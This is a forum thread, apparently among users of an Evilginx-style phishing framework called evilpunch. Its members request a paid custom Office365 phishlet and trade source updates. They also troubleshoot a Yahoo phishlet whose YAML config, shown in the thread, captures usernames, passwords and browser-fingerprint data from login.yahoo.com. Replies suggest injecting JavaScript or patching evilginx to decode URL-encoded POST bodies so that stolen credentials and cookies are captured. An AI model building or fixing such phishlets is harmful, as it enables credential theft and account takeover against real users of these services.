Hello fluxxset, don’t you think it will be a good suggestion to give we members on youtube at least tutorial on phishlet creation please?
Your docs on it is so confusing 
and unclear.
yes that’s completely right and I am working on that right now. The videos are getting edited ones there available. You will be getting notification in the Channel
About the confusion in the documentation I’m not sure which one you are reading. Please check this link and in case if you feel that is confusing, you can suggest how should I represent because this is also my first time so I might have done some mistakes..
What should I just open source the documentation pages also so that community can contribute ?
I need a custom office365 phishlet for evilpunch. Let me know what it costs. thanks
1 Like
I would love this please .
Does evilpunch works with office and aol
Evilpunch needs updates and comunity is also not contributing so project is stalled
convert it to go boss
ahah who still uses AOL?
Yahoo phishlets not capturing user credentials why is that
-
username:
key: ‘username’
search: '(.*)’
type: ‘post’
password:
key: ‘password’
search: ‘(.*)’
type: ‘post’
custom:- key: ‘browser-fp-data’
search: ‘(.*)’
type: ‘post’
auth_urls:
- key: ‘browser-fp-data’
- ‘/consent’
- ‘/$’
login:
domain: ‘login.yahoo.com’
path: ‘/?.src=ym&.lang=en-US&.intl=us&.done=https%3A%2F%2Fmail.yahoo.com%2Fd’
did u manage to solve?
Nope boss, tried but not working
this captures plain post but yahoo encodes in urlencoding
solution can be add js using inject js to send plain data or modify evilginx to decode url before peforming match for data
how do i modify evilginx
Please how do i do that in js inject
I updated the Force post source code and fixed PostbackUrl problem and have the updated phishlet as well to match the changes in source code. How can I add it to your git?
Still need the phishlet and updated source code?
Yes I would need it mine is not capturing cookies and credentials